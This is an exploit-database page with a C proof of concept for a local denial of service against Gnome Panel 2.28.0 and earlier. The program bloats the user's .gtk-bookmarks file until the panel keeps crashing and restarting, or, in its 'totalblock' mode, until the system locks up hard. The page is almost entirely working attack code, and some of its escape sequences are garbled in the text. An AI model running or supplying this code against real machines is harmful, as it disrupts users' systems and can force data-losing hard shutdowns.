[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Gnome Panel <= 2.28.0 Denial of Service PoC 0-day
# Published : 2010-01-06
# Author : Pietro Oliva
# Previous Title : Total Multimedia Features DoS PoC for Sony Ericsson Phones
# Next Title : Novell Netware CIFS And AFP Remote Memory Consumption DoS
# Tested on: ubuntu 9.10
# CVE :
# Code :
/*********************************************************************************
* Gnome panel <= 2.28.0 denial of service poc 0-day *
* by Pietro Oliva <pietroliva@gmail.com>
* http://olivapietro.altervista.org
* *
* After executing this poc a backup file will be created *
* You can restore it by typing ./paneldos restore *
* Using option restart gnome-panel will restart continuously *
* Using option totalblock you will need to remove the battery *
* After execution click application in the panel, then go to places *
* and wait some seconds... *
* https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868 *
**********************************************************************************/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
FILE *f;
unsigned long i;
printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-daynn");
if(!(f=fopen(".gtk-bookmarks","r")))
{
printf("%s","file not found! make sure you are runningnthis file from your home directoryn");
return 1;
}
fclose(f);
if((argv[1]==NULL))
{
printf("%s","please specify an argument!n");
printf("%s","usage: ./paneldos <option>npossible options are:trestarttttotalblocktrestoren");
return 1;
}
if(((strcmp(argv[1],"restart"))==0))
i=9999;
else if((strcmp(argv[1],"totalblock"))==0)
i=99999;
else if((strcmp(argv[1],"restore"))==0)
{
if(!(f=fopen(".backup","r")))
{
printf("%s","no backup found!nmake sure you are runningnthis file from your home directoryn");
return 1;
}
fclose(f);
system("cp .backup .gtk-bookmarks");
printf("%s","succesfully restored!n");
return 0;
}
else
{
printf("%s","usage: ./paneldos <option>npossible options are:trestarttttotalblocktrestoren");
return 1;
}
if(!(f=fopen(".backup","r")))
{
printf("%s","creating backup...n");
system("cp .gtk-bookmarks .backup");
}
else
fclose(f);
f=fopen(".gtk-bookmarks","a");
printf("%s","starting...n");
fwrite("file:///home ",1,13,f);
while(i>0)
{
fwrite("ta",1,2,f);
i--;
}
fclose(f);
printf("%s","done! now click applications in panel,nslide to places, wait and see the result! :Dn");
return 0;
}